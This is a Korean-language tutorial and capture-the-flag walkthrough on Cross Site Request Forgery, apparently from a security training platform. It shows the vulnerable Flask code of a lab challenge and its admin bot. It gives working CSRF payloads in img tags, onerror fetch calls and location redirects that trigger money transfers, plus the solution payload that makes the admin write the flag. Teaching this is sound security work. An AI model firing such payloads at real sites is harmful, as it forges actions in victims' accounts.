이용자의 식별 정보가 포함된 쿠키는 클라이언트에서 보내진 요청이 이용자로부터 왔으며, 이용자가 동의했고, 따라서 요청에 이용자의 권한이 부여돼야 함을 의미한다. 여기서 다룰 Cross Site Reuest Forgery (CSRF)는 이용자를 속여서 의도치 않은 요청에 동의하게 하는 공격을 말한다. 그럴 듯한 웹 페이지를 만들어서 이용자의 입력을 유도하고, 이용자가 값을 입력하면 이를 은행이나 중요 포털 사이트 등으로 전송하여 마치 이용자가 동의한 것 같은 요청을 발생시킨다.
앞서 설명했듯이 Cross Site Reuest Forgery (CSRF)는 교차 사이트 요청 위조로, 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점이다. 공격자는 임의 이용자의 권한을 서비스 기능을 사용해 이득을 취할 수 있다. (웹 서비스는 쿠키 또는 세션을 사용해 이용자를 식별하며, 임의 이용자의 쿠키를 사용할 수 있다면 이는 곧 임의 이용자의 권한으로 웹 서비스의 기능을 사용하게 되는 것이다.)
아래의 코드는 CSRF 취약점이 존재하는 예제 코드이다. 이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고, 관리자 계정을 공격해 공지사항 작성 등으로 혼란을 야기할 수 있다.
GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1
Host: bank.dreamhack.io
Cookie: session=IeheighaiToo4eenahw3
아래의 코드를 살펴보면, 이용자로부터 예금주와 금액을 입력 받고 송금을 수행한다. 이때 계좌 비밀번호, OTP 등을 사용하지 않기 때문에 로그인한 이용자는 추가 인증 정보 없이 해당 기능을 이용할 수 있다.
# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
# 송금이 성공했을 때,
if success_status:
# 성공 메시지 출력
return "Send success."
# 송금이 실패했을 때,
else:
# 실패 메시지 출력
return "Send fail."
CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트를 이용자가 실행해야 한다. 실행하기 위한 방법으로는, 공격자가 이용자에게 메일을 보내거나 게시판에 글을 작성해 이용자가 이를 조회하도록 유도하는 방법이 있다. 여기서 말하는 악성 스크립트는 HTTP 요청을 보내는 코드이다.
CSRF 공격 스크립트는 HTML 또는 Javascript를 통해 작성할 수 있다. 아래의 이미지는 HTML로 작성한 스크립트이다. 이미지를 불러오는 img 태그를 사용하거나 웹 페이지에 입력된 양식을 전송하는 form 태그를 사용하는 방법이 있다. 이 두 개의 태그를 사용해 HTTP 요청을 보내면 HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함된다.

아래의 코드는 img 태그를 사용한 스크립트의 예시이다. 해당 태그는 이미지의 크기를 줄일 수 있는 옵션을 제공한다. 이를 활용하면 이용자에게 들키지 않고 임의 페이지에 요청을 보낼 수 있다.
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
아래의 코드는 Javascript로 작성된 스크립트의 예시이다. 새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능하다.
/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
해당 모듈은 위에서 제시됐던 python 코드로 작성된 실습 모듈이다. 해당 모듈은 일부 Javascript 실행이 제한되어 있으므로, HTML 태그를 통해 계좌 잔고를 1,000,000원 이상으로 늘리면 된다.
1337 대신 원하는 금액을 적어주면, 게시판을 조회했을 때 송금을 수행할 수 있다.
<img src="/sendmoney?to=dreamhack&amount=1337">
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
XSS와 CSRF는 스크립트를 웹 페이지에 작성해 공격한다는 점에서 매우 유사하다. 두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 한다.
차이점으로는, 두 개의 취약점은 공격에 있어 서로 다른 목적을 가진다. XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행시킨다. 반면 CSRF는 이용자가 임의 페이지에서 HTTP 요청을 보내는 것을 목적으로 하는 공격이다. 또한 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있다.
해당 문제는 CSRF 취약점이 존재하며, 관리자만 수행할 수 있는 메모 작성 기능을 이용할 수 있다.
XSS를 다루었던 문제와 같은 조건 하에 구현된 문제이다.
CSRF-1 문제의 목표는 CSRF를 통해 관리자 계정으로 특정 기능을 실행시키는 것이다.
/ : 인덱스 페이지/vuln : 이용자가 입력한 값을 출력한다. 이때 XSS가 발생할 수 있는 키워드는 필터링한다./memo : 이용자가 메모를 남길 수 있으며, 작성한 메모를 출력한다./admin/notice_flag : 메모에 FLAG를 작성하는 기능이다. 이 기능은 로컬호스트에서 접속해야 하고, 사이트 관리자만 사용할 수 있다./flag : 전달된 URL에 임의 이용자가 접속하게끔 한다.아래의 코드는 /vuln 페이지를 구성하는 코드이다. 코드를 살펴보면, 이용자 전달한 param 파라미터의 값을 출력한다. 이때, 이용자의 파라미터에 "frame", "script", "on" 세 가지의 악성 키워드가 포함되어 있으면 이를 * 문자로 치환한다.
@app.route("/vuln") # vuln 페이지 라우팅 (이용자가 /vuln 페이지에 접근시 아래 코드 실행)
def vuln():
param = request.args.get("param", "").lower() # 이용자가 입력한 param 파라미터를 소문자로 변경
xss_filter = ["frame", "script", "on"] # 세 가지 필터링 키워드
for _ in xss_filter:
param = param.replace(_, "*") # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환
return param # 이용자의 입력 값을 화면 상에 표시
키워드 필터링은 XSS 공격을 방지하기 위한 목적으로 존재한다. 본 문제의 의도는 XSS 공격이 아닌 CRSF 공격을 통해서 관리자의 기능을 수행하는 것이기 때문에 일부 키워드를 필터링 하였다.
아래의 코드는 /meno 페이지를 구성하는 코드이다. 이용자가 전달한 memo 파라미터 값을 기록하고, render_template 함수를 통해 출력한다.
@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
global memo_text # 메모를 전역변수로 참조
text = request.args.get('memo', '') # 이용자가 전송한 memo 입력값을 가져옴
memo_text += text + '\n' # 메모의 마지막에 새 줄 삽입 후 메모에 기록
return render_template('memo.html', memo=memo_text) # 사이트에 기록된 메모를 화면에 출력
아래의 코드는 /admin/notice_flag 페이지를 구성하는 코드이다. 코드를 살펴보면 로컬호스트 127.0.0.1 에서 접근하고, userid 파라미터가 admin일 경우 메모에 FLAG를 작성하고, 조건을 만족하지 못하면 접근 제한 메시지가 출력된다.
@app.route('/admin/notice_flag') # notice_flag 페이지 라우팅
def admin_notice_flag():
global memo_text # 메모를 전역변수로 참조
if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우
return 'Access Denied' # 접근 제한
if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우
return 'Access Denied 2' # 접근 제한
memo_text += f'[Notice] flag is {FLAG}\n' # 위의 조건을 만족한 경우 메모에 FLAG 기록
return 'Ok' # Ok 반환
/admin/notice_flag 페이지 자체는 모두가 접근할 수 있고, userid 파라미터에 admin 값을 넣는 것도 가능하다. 하지만 일반 유저가 해당 페이지에 접근할 때의 IP 주소는 조작할 수 없다. 따라서 일반 유저의 IP가 자신의 컴퓨터를 의미하는 로컬호스트 IP가 되는 것은 불가능하기 때문에, 이 페이지에 단순히 접근하는 것만으로는 FLAG를 획득할 수 없다.
로컬호스트 (Localhost) : 로컬호스트는 컴퓨터 네트워크에서 사용하는 호스트명으로, 자기 자신의 컴퓨터를 의미한다. 로컬호스트를 IPv4 방식으로 표현했을 때에는 127.0.0.1, IPv6로 표현했을 때에는 00:00:00:00:00:00:00:01로 표현한다. 아래의 코드는 /flag 페이지를 구성하는 코드이다. 코드를 살펴보면, 메소드에 따라 다른 기능을 수행한다.
이용자에게 URL을 입력 받는 페이지를 제공한다.
param 파라미터 값을 가져와 check_csrf 함수의 인자로 넣고 호출한다. check_csrf 함수는 인자를 다시 CSRF 취약점이 발생하는 URL 파라미터로 설정하고, read_url 함수를 이용해 방문한다. 이때 방문하는 URL은 서버가 동작하고 있는 로컬호스트의 이용자가 방문하는 시나리오이기 때문에 127.0.0.1의 호스트로 접속하게 된다. read_url 함수는 셀레늄을 이용해 URL을 방문한다.
@app.route("/flag", methods=["GET", "POST"]) # flag 페이지 라우팅 (GET, POST 요청을 모두 받음)
def flag():
if request.method == "GET": # 이용자의 요청이 GET 메소드인 경우
return render_template("flag.html") # 이용자에게 링크를 입력받는 화면을 출력
elif request.method == "POST": # 이용자의 요청이 POST 메소드인 경우
param = request.form.get("param", "") # param 파라미터를 가져온 후,
if not check_csrf(param): # 관리자에게 접속 요청 (check_csrf 함수)
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" # 로컬 URL 설정
return read_url(url, cookie) # URL 방문
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"}) # 관리자 쿠키가 적용되는 범위를 127.0.0.1로 제한되도록 설정
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions() # 크롬 옵션을 사용하도록 설정
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_) # 크롬 브라우저 옵션 설정
driver = webdriver.Chrome(service=service, options=options) # 셀레늄에서 크롬 브라우저 사용
driver.implicitly_wait(3) # 크롬 로딩타임을 위한 타임아웃 3초 설정
driver.set_page_load_timeout(3) # 페이지가 오픈되는 타임아웃 시간 3초 설정
driver.get("http://127.0.0.1:8000/") # 관리자가 CSRF-1 문제 사이트 접속
driver.add_cookie(cookie) # 관리자 쿠키 적용
driver.get(url) # 인자로 전달된 url에 접속
except Exception as e:
driver.quit() # 셀레늄 종료
print(str(e))
# return str(e)
return False # 접속 중 오류가 발생하면 비정상 종료 처리
driver.quit() # 셀레늄 종료
return True # 정상 종료 처리
/vuln 기능은 이용자의 입력 값을 페이지에 출력한다. 이때 입력 값에서 frame, script, on 세 가지의 키워드를 필터링하기 때문에 XSS 공격은 불가능하다. 하지만 필터링 키워드 이외에 꺽쇠 <, >를 포함한 다른 키워드와 태그는 사용할 수 있기 때문에 CRSF 공격을 수행할 수 있다.
@app.route("/vuln") # vuln 페이지 라우팅 (이용자가 /vuln 페이지에 접근시 아래 코드 실행)
def vuln():
param = request.args.get("param", "").lower() # 이용자가 입력한 param 파라미터를 소문자로 변경
xss_filter = ["frame", "script", "on"] # 세 가지 필터링 키워드
for _ in xss_filter:
param = param.replace(_, "*") # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환
return param # 이용자의 입력 값을 화면 상에 표시
이 문제에서는 /vuln 페이지에서 CSRF 공격이 가능하다. 따라서 공격 코드가 삽입된 /vuln 페이지를 다른 이용자가 방문할 경우, 의도하지 않은 페이지로 요청을 전송하는 시나리오의 익스플로잇을 구상해야 한다. FLAG를 얻기 위해서는 /admin/notice_flag 페이지를 로컬호스트에서 접근해야 한다. 이를 위해 CSRF 공격으로 /vuln 페이지를 방문하는 로컬호스트 이용자가 /admin/notice_flag 페이지로 요청을 전송하도록 공격 코드를 작성해야 한다.
로컬호스트 환경의 이용자가 임의 페이지를 방문하게 하려면 /flag 페이지를 이용해야 한다.
CSRF 취약점 발생 여부를 확인하기 위해 HTTP 응답을 받을 웹 서버가 필요하다. 만약 외부에서 접근 가능한 웹 서버가 없다면 아래의 툴즈 서비스를 사용할 수 있다.
서비스에서 제공하는 Request Bin 기능은 랜덤한 URL을 제공하고 제공된 URL에 대해 이용자의 접속 기록을 저장하기 때문에 XSS, CSRF 공격을 테스트하기에 좋다.
테스트베드를 생성했다면 CSRF 공격 코드를 작성하고, 취약점 발생 여부를 확인한다. 이때 <img> 태그를 사용해 테스트베드 URL에 접속하는 공격 코드를 작성한 뒤, 취약점이 발생하는 페이지에 해당 코드를 삽입한다.
<img src="https://jugwwka.request.dreamhack.games">
CSRF 공격 코드를 삽입하면, 공격 코드에 의해 이미지가 화면에 출력되며, 생성한 테스트베드에 요청이 온 것을 확인할 수 있다.

어떠한 요청도 보내지 않은 상태로 메모 메뉴에 들어가면 "hello"라는 메모만 기록되어 있다. 로컬호스트에 위치하는 이용자가 /admin/notice_flag 페이지를 방문하도록 해야 하기 때문에 아래와 같이 공격 코드를 작성해야 한다. 이때, userid 파라미터가 admin인지 검사하는 부분이 존재하기 때문에 해당 문자열을 포함해야 한다.
<img src="/admin/notice_flag?userid=admin" />
공격 코드를 작성했다면, flag 페이지에서 공격 코드를 전송하면 된다. 성공적으로 전송했다면 로컬호스트에서 http://127.0.0.1:8000/vuln?param=<img src="/admin/notice_flag?userid=admin"/>에 접속하게 된다.
memo 페이지에 접근하면 앞서 수행한 CSRF 공격으로 관리자가 /admin/notice_flag 페이지를 방문한 것을 확인할 수 있다.